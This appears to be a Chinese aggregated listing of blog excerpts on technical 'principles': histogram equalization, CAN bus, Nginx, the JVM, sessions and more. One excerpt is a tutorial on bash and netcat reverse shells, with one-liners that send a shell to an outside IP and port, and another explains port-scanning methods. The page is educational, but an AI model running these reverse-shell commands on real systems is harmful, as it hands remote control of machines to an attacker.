精华内容
参与话题
问答
  • 直方图均衡化的数学原理

    万次阅读 多人点赞 2016-09-04 13:36:19
    直方图均衡化的数学原理直方图均衡化处理的“中心思想”是把原始图像的灰度直方图从比较集中的某个灰度区间变成在全部灰度范围内的均匀分布。直方图均衡化就是对图像进行非线性拉伸,重新分配图像像素值,使一定灰度...

    直方图均衡化的数学原理

    直方图均衡化处理的“中心思想”是把原始图像的灰度直方图从比较集中的某个灰度区间变成在全部灰度范围内的均匀分布。直方图均衡化就是对图像进行非线性拉伸,重新分配图像像素值,使一定灰度范围内的像素数量大致相同。直方图均衡化就是把给定图像的直方图分布改变成“均匀”分布直方图分布【1】。有关直方图均衡化的深入介绍,可以参考作者的另一篇博客直方图匹配的数学原理(其中包含为什么要选用累积分布函数做映射函数?以及推导过程)

    下图为直方图均衡化的过程,体现了“均衡”的含义:(概率密度的均匀)

    网上可以查阅到关于直方图均衡化的各种解释、用法、程序、优缺点,这里只关注直方图均衡化的数学原理(可以参阅【1】)。

    我们知道直方图变换其实是一种灰度变换,灰度变换的变换函数决定了输入随机变量与输出随机变量之间的关系,也就是两个随机变量的关系;一副图像是二维离散的数据,不利于使用数学的工具进行处理,在数字图像处理中,我们通常是采用连续的变量进行推导,最后在推广到离散的情况。

    以下我们介绍:1.图像直方图的定义 2.直方图变换的理论基础(为什么介绍它?直方图变换是直方图均衡化的基础)3.概率知识-随机变量的函数分布 4.直方图均衡化的理论基础 5.离散形式的直方图均衡化。

    一、图像直方图的定义

    1.定义(1):

    2.定义(2):

    3.比较:

    二、直方图变换的理论基础

    注意:T(r)为单值单调增加(此为数字图像处理-冈萨雷斯-第二版中的表述),在第三版中有一些变化,具体的可以查阅此书的对应章节。

    三、概率论的知识-随机变量的函数的分布

    这一块涉及了概率论的知识-随机变量的函数的分布:

    四、直方图均衡化的理论基础

    五、离散形式的直方图均衡化

    六、例子

    参考资料:

    【1】:【数字图像处理】直方图均衡化详解及编程实现
    http://blog.csdn.net/xiajun07061225/article/details/6910129

    参考书籍:

    【2】:数字图像处理-冈萨雷斯-第二版

    【3】:数字图像处理-冈萨雷斯-第三版

    【4】:《概率论与数理统计》浙大版(第四版)

     

    展开全文
  • 后续总结一篇自己的理解 参考文献与书籍: 1.https://tech.meituan.com/2019/12/05/aqs-theory-and-apply.html

    后续总结一篇自己的理解

    参考文献与书籍:

    1.https://tech.meituan.com/2019/12/05/aqs-theory-and-apply.html

    展开全文
  • linux反弹shell的原理

    万次阅读 2020-08-24 11:30:15
    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i >...原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了

    完整命令

    反弹shell命令:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    bash -i > /dev/tcp/ip/port 0>&1 2>&1
    

    利用nc反弹shell:

    nc -lvvp 12345 -t -e /bin/bash
    

    原理

    bash -i > /dev/tcp/ip/port 0>&1 2>&1
    bash -i 打开一个交互式的bash
    &是为了区分文件1和文件描述符1的
    a>&b 的意思是 a>b 2>&1
    0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

    实验

    通过一个小实验帮助大家理解

    第一步,将shell的正确输出重定向到外部主机

    假设我们在kali上输入的命令为:
    bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

    在mac上监听端口命令为:nc -l 9999
    在这里插入图片描述

    首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

    在这里插入图片描述

    但是当我们在kali上出入错误命令的时候,却存在回显。
    在这里插入图片描述

    第二步,将错误输出重定向到外部主机

    我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。
    在这里插入图片描述

    这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:
    在这里插入图片描述

    这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

    第三步,交出输入权限

    只需要在第二步命令的基础上加上 0>&1即可。

    在这里插入图片描述

    这时候已经可以在mac上完全控制kali的shell了,实验结束。

    其他

    当shell不稳定时候用python的虚拟化终端:

    python -c "import pty;pty.spawn('/bin/bash')"
    

    参考:
    https://www.freebuf.com/news/142195.html #将shell转换成完全tty
    https://blog.csdn.net/Auuuuuuuu/article/details/89059176
    https://www.anquanke.com/post/id/87017

    展开全文
  • 各种端口扫描技术的相关原理

    万次阅读 2020-08-20 15:34:54
    Xmas Tree扫描 发送一个flag为PSH,FIN,URG的包。如果对方主机端口开放则无反应。如果端口关闭,则会返回一个rst包。对windows主机来说无论端口开放与否,都返回rst。 Fin扫描 发送flag为fin的数据包,如果对方...

    Xmas Tree扫描

    发送一个flag为PSH,FIN,URG的包。如果对方主机端口开放则无反应。如果端口关闭,则会返回一个rst包。对windows主机来说无论端口开放与否,都返回rst。
    在这里插入图片描述

    Fin扫描

    发送flag为fin的数据包,如果对方端口开放,则无反应。如果关闭则反回一个rst包。类似于Xmas Tree。对windows主机来说无论端口开放与否,都返回rst。

    Null扫描

    发送一个没有flag的tcp/ip包,如果端口开放则返回rst包,如果关闭则无反应。对windows主机来说无论端口开放与否,都返回rst数据包。

    上述三种扫描Xmas tree,fin,null的原理基本相同,都是基于*unix平台的一种协议。

    tcp全连接扫描

    原理是与指定ip的指定端口进行一次TCP三次握手。如果成功则端口开放。
    大概过程是,C端发送syn包,S端回复,syn+ack,最后C端回复ack+rst断开连接。下图为端口开放时候的tcp全连接扫描。
    在这里插入图片描述

    如果关闭则服务端回复的是rst+ack,且只有两个数据包,这个跟syn扫描端口关闭的时候的显示一样。
    在这里插入图片描述

    正常情况下TCP全连接的过程中最后一个包是ACK包。flag为ack并没有rst。如下图:
    在这里插入图片描述

    syn扫描

    原理是发送syn包给服务端。如果服务端口开放则返回ack+syn。如果端口关闭则返回rst+ack。如下图:

    在这里插入图片描述
    如果端口开放,则服务端返回ack+syn,然后客户端再发送rst重制连接 。如下图
    在这里插入图片描述

    ack扫描

    ack扫描不用与发现端口的开关情况,主要是为了发现服务器上是否存在防火墙。
    客户端会发送一个flag为ack的数据包,如果服务器返回一个rst的包,这说明没有防火墙过滤这个包。如果无反应或者回复icmp包type类型为3,代码为1,2,3,9等,说明端口被过滤且存在防火墙。

    udp扫描

    客户端像服务端的指定端口发送一个udp数据包,如果服务器回应了这个包,则端口开放。如果返回icmp包且type等于3且代码等于3即返回端口不可达,则以为目标端口是关闭状态。如果type为3 且代码为1,2,9等,则是端口被过滤。

    展开全文
  • CAN总线原理简介

    万次阅读 多人点赞 2019-09-23 16:43:11
    一.CAN总线简介: 是一种串行通信协议,能有效的支持具有很高安全...二.CAN工作原理: 以广播的形式发送报文.当CAN总线上的某个节点需要给其他节点发送消息时,会以广播的形式发送给总线上所有的节点,因为总线...
  • 编译原理第三版课后习题

    万次阅读 多人点赞 2018-12-22 11:12:47
    编译原理课后习题 都是编译原理老师上课布置的课后习题的整理 第二章 1.P34-4 证明G(E)是二义的。 E->EOE|(E)|v|d O->+|* 2.P34-8 上下文无关文法G[S] :S->SS*|SS+|a 答:(1)S=>SS*=...
  • 计算机组成原理复习

    千次阅读 2019-10-10 11:01:39
    计算机组成原理考试题型 -· 计算机组成原理期末考试试题及答案 · 计算机组成原理考试重点
  • Session原理

    万次阅读 多人点赞 2019-06-18 08:35:21
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...开发工具与关键技术:Java,HTTP协议,session原理 撰写时间:2019-06-17 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...
  • 编译原理实验:词法分析

    万次阅读 多人点赞 2018-09-29 21:17:16
    编译原理实验:词法分析1. 实验题目:词法分析实验目的实验内容实验要求输入输出2. 设计思想3.算法流程4. 源程序5. 调试数据 1. 实验题目:词法分析 实验目的 根据PL/0语言的文法规范,编写PL/0语言的词法分析...
  • 冠状病毒疫情期间,额温枪脱销了,一枪难求,额温枪成了名副其实的防疫物质,此篇博客讲述额温枪的工作原理
  • STM32F103C8/BT6最小系统原理图、PCB

    千次阅读 热门讨论 2019-12-28 18:48:05
    STM32F103C8T6是一款基于ARM Cortex-M 内核STM32系列的32位的微控制器,程序存储器容量是64KB(STM32F103CBT6存储器容量128KB),需要电压2V~3.6V,工作温度为-40°C ~ 85°C。 具体指标如下: ...
  • 基本遗传算法(GA)的算法原理、步骤、及Matlab实现

    万次阅读 多人点赞 2016-08-26 13:38:59
    主要介绍基本遗传算法(GA)的基本原理、算法步骤和matlab实现
  • 2020王道操作系统,2020王道数据结构,2020王道计算机网络,2020王道计算机组成原理pdf大合集 资料链接: https://shimo.im/docs/QCgdKCTpypjHdhXg/ 一年又一年,参加计算机考研的大军越来越多,408到底有多难,初试...
  • Nginx 原理和架构

    万次阅读 多人点赞 2019-11-09 17:13:09
    Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。 Nginx 的整体架构 Nginx 里有一个 master 进程和多个 worker 进程。master 进程并不处理网络请求,主要负责调度工作进程:加载配置、启动...
  • ssh端口转发原理与实现

    万次阅读 2020-10-10 15:59:34
    CATALOGssh端口转发其他在meterpreter上配置路由配置proxychainsew ssh端口转发 一些命令参数 ... 在一台公网服务器上编辑 sshd 配置,开启 ssh 转发功能,重启 ssh 服务,这是所有使用 ssh 隧道转发前的必备操作: ...
  • 樊昌信通信原理第7版笔记和课后习题答案

    千次阅读 多人点赞 2019-11-24 00:55:04
    原地址附文件:http://zgw.100xuexi.com/SubItem/IndexInfoDetail.aspx?id=21d846ee-537f-4536-9a46-9175d5f5693f
  • JVM运行原理详解

    万次阅读 多人点赞 2017-05-31 15:01:45
    1.JVM简析: 作为一名Java使用者,掌握JVM的体系结构也是很有必要的。 说起Java,我们首先想到的是Java编程语言,然而事实上,Java是一种技术,它由四方面组成:Java编程语言、Java类文件格式、Java虚拟机和Java...
  • 数据库原理及应用教程 第4版 微课版 陈志泊主编 习题参考答案
  • 【STM32】串口通信基本原理(超基础、详细版)

    万次阅读 多人点赞 2018-04-12 13:26:02
    STM32F1xx官方资料: 《STM32中文参考手册V10》-第25章通用同步异步收发器(USART) 通信接口背景知识 ... 传输原理 数据各个位同时传输 数据按位顺序传输 优点 速度快 占用引脚资...
  • 图像处理:图像二值化原理

    千次阅读 2019-06-18 16:44:54
    图像的二值化的基本原理 图像的二值化处理就是讲图像上的点的灰度置为0或255,也就是讲整个图像呈现出明显的黑白效果。即将256个亮度等级的灰度图像通过适当的阀值选取而获得仍然可以反映图像整体和局部特征的二值...
  • Socket通信原理和实践

    万次阅读 多人点赞 2013-04-13 22:34:26
    我们深谙信息交流的价值,那网络中进程之间如何通信,如我们每天打开浏览器浏览网页时,浏览器的进程怎么与web服务器通信的?当你用QQ聊天时,QQ进程怎么与服务器或你好友所在的QQ进程通信?这些都得靠socket?...
  • 编译原理学习资料整理

    千次阅读 多人点赞 2017-07-01 16:31:09
    1.编译原理期末试题(8套含答案+大题集)_百度文库  2.《编译原理》考试试题及答案(汇总) - 教育 - 道客巴巴  3.编译原理期末试题(8套含答案+大题集)_百度文库  4.冯博琴编译原理教学视频(全套)在线播放学习_...
  • 计算机组成原理核心知识点总结&面试笔试要点

    万次阅读 多人点赞 2019-08-13 14:04:07
    作为一名计算机专业的学生,计算机组成原理、计算机网络、操作系统这三门课程可以说是专业核心基础课,是至关重要的,其内容是一名合格的coder所必备的知识集;非科班出身的程序员要是想要有所提升,也需要认真学习...
  • ds18b20工作原理和测温原理介绍

    万次阅读 2018-07-30 23:09:30
    DS18B20是美国DALLAS半导体公司继DS1820之后最新推出的一种改进型智能温度传感器。与传统的热敏电阻相比,他能够直接读出被测温度并且可根据实际要求通过简单的编程实现9~12位的数字值读数方式。...
  • Boost电路的结构及工作原理

    万次阅读 多人点赞 2019-01-14 20:52:59
    Boost电路定义  Boost升压电路的英文名称为“theboostconverter”,或者叫“step-upconverter”,是一种开关直流升压电路,它能够将直流电变为另一固定电压或可调电压的直流电,也称为直流—直流变换器(DC/...
  • 单片机 最小系统原理

    万次阅读 多人点赞 2016-08-02 10:37:18
    单片机最小系统的四大硬件:单片机,晶振电阻,复位电路 ,电源 最小系统就是用最少的元件组成单片机的工作系统 1.复位电路 可以自动复位,可以是高电平使他复位也可以是低电平使他复位,跳转到0地址,然后重新...
  • Eureka工作原理

    万次阅读 多人点赞 2019-07-03 10:46:48
    Eureka 工作原理 上节内容为大家介绍了,注册中心 Eureka 产品的使用,以及如何利用 Eureka 搭建单台和集群的注册中心。这节课我们来继续学习 Eureka,了解它的相关概念、工作流程机制等。 Eureka 作为 Spring Cloud...
  • 自动控制原理的一般概念

    千次阅读 2016-11-18 10:56:16
    自动控制原理的一般概念
  • 浅谈人脸识别技术原理分析

    千次阅读 2019-08-08 16:23:14
    人脸识别,是基于人的脸部特征...那么人脸识别技术原理是怎样的呢?它包括了那几个部分?如今,人脸识别技术应用在哪些方面呢? 人脸识别技术原理分析 人脸识别主要分为人脸检测、特征提取和人脸图像匹配与识别。 ...
  • 交互式多模型 IMM的原理及代码实现(matlab)

    万次阅读 多人点赞 2019-03-03 22:00:40
    交互式多模型 IMM的原理及代码实现 交互式多模型简单原理 交互式多模型 IMM(Interacting Multiple Model)控制算法的主体思想是基于贝叶斯理论而提出的模型间的自动识别与切换:在任意跟踪时刻,通过设置对应目标...

空空如也

1 2 3 4 5 ... 20
收藏数 997,687
精华内容 399,074
关键字:

原理